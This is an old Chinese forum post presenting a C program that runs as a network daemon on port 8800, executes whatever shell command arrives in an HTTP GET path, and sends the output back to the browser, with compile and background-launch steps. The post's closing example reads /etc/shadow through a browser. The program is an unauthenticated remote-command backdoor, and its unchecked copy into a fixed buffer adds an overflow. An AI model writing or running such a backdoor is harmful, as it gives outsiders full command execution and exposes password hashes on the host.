发信人: SunGang()
整理人: zhcharles(2001-06-17 19:58:48), 站内信件
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象 vi 这样的交互式程序就有些麻烦。
/* * filename: daemon.c * Author: bobdai */
#include <stdio.h> #include <unistd.h> #include <string.h> #include <netinet/in.h> #include <sys/socket.h>
#define SA struct sockaddr
main() { int n, listenfd, connfd; char rbuf[1024], wbuf[1024], cbuf[256], *str; FILE *fp;
struct sockaddr_in servaddr;
if( (listenfd=socket(AF_INET, SOCK_STREAM, 0)) <0 ) perror( "socket" ), exit(0); bzero( &servaddr, sizeof(servaddr) ); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl( INADDR_ANY ); servaddr.sin_port = htons( 8800 ); if( bind(listenfd, (SA *)&servaddr, sizeof(servaddr)) <0 ) perror( "bind" ), exit(0); if( listen(listenfd, 10) <0 ) perror( "listen" ), exit(0);
for(;;) { bzero( cbuf, 256 ); bzero( wbuf, 1024); if( (connfd=accept(listenfd, (SA *)NULL, NULL)) <0 ) perror( "accept" ), exit(0); if( read(connfd, rbuf, 1024) <0 ) perror( "read" ), exit(0); if( (fp=fopen("^tempfile^", "w")) == NULL) perror( "open tempfile error"), exit(0); fclose( fp ); str = strstr( rbuf, "GET /" ); str += 5; for( n=0; *str != ' '; n++ ) { if( *str == '%' ) { str += 3; *(cbuf+n) = ' '; } else *(cbuf+n)=*(str++); } strcat( cbuf, ">^tempfile^" ); printf( "%s\n", cbuf ); system( cbuf ); if( (fp=fopen("^tempfile^", "r")) == NULL) perror( "open tempfile error"), exit(0); strcpy( wbuf, "Result:<br>" ); if( write(connfd, wbuf, strlen(wbuf)) <0 ) perror( "write" ), exit(0); fgets( wbuf, 1000, fp ); while( !feof(fp) ) { strcat( wbuf, "<br>" ); if( write(connfd, wbuf, strlen(wbuf)) <0 ) perror( "write" ), exit(0); fgets( wbuf, 1000, fp ); } fclose( fp ); unlink( "^tempfile^" ); close( connfd ); } } ============================================================ #!/bin/sh cc -o daemon daemon.c ============================================================ ./daemon & ============================================================ http://主机名:8800/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。
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